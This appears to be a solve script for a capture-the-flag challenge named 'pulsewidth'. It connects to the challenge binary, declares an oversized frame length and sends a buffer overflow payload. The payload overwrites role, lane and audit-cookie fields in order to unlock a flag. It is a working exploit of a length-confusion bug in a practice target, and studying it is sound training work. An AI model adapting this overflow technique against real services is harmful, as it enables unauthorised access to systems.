92 lines
2.3 KiB
Python
92 lines
2.3 KiB
Python
#!/usr/bin/env python3
|
|
import argparse
|
|
import os
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
|
|
ROLE_ANALYST = 0x4341504C
|
|
LANE_EXPORT = 0x45585054
|
|
AUDIT_COOKIE = 0x2605061337C0FFEE
|
|
|
|
|
|
class Tube:
|
|
def __init__(self, sock=None, proc=None):
|
|
self.sock = sock
|
|
self.proc = proc
|
|
|
|
def recv(self, n=4096):
|
|
if self.sock:
|
|
return self.sock.recv(n)
|
|
return os.read(self.proc.stdout.fileno(), n)
|
|
|
|
def send(self, data):
|
|
if self.sock:
|
|
self.sock.sendall(data)
|
|
else:
|
|
os.write(self.proc.stdin.fileno(), data)
|
|
|
|
def sendline(self, data):
|
|
self.send(data + b"\n")
|
|
|
|
def recvuntil(self, marker):
|
|
out = b""
|
|
while marker not in out:
|
|
chunk = self.recv(1)
|
|
if not chunk:
|
|
raise EOFError(out)
|
|
out += chunk
|
|
return out
|
|
|
|
|
|
def connect(args):
|
|
if args.local:
|
|
env = os.environ.copy()
|
|
env["CTF_FLAG"] = args.flag
|
|
proc = subprocess.Popen(
|
|
[args.binary],
|
|
stdin=subprocess.PIPE,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.STDOUT,
|
|
env=env,
|
|
)
|
|
return Tube(proc=proc)
|
|
|
|
sock = socket.create_connection((args.host, args.port), timeout=5)
|
|
return Tube(sock=sock)
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("--host", default="127.0.0.1")
|
|
parser.add_argument("--port", type=int, default=31337)
|
|
parser.add_argument("--local", action="store_true")
|
|
parser.add_argument("--binary", default="../public/pulsewidth")
|
|
parser.add_argument("--flag", default="caplag{len_folded_into_live_capability}")
|
|
args = parser.parse_args()
|
|
|
|
io = connect(args)
|
|
io.recvuntil(b">")
|
|
io.sendline(b"1")
|
|
io.recvuntil(b"declared frame bytes:")
|
|
io.sendline(b"320")
|
|
io.recvuntil(b"payload:")
|
|
|
|
payload = b"A" * 64
|
|
payload += struct.pack("<I", ROLE_ANALYST)
|
|
payload += struct.pack("<I", LANE_EXPORT)
|
|
payload += struct.pack("<Q", AUDIT_COOKIE)
|
|
payload = payload.ljust(320, b"B")
|
|
io.send(payload)
|
|
|
|
io.recvuntil(b">")
|
|
io.sendline(b"3")
|
|
data = io.recvuntil(b"}")
|
|
flag = data[data.rfind(b"caplag{") :].decode()
|
|
print(flag)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|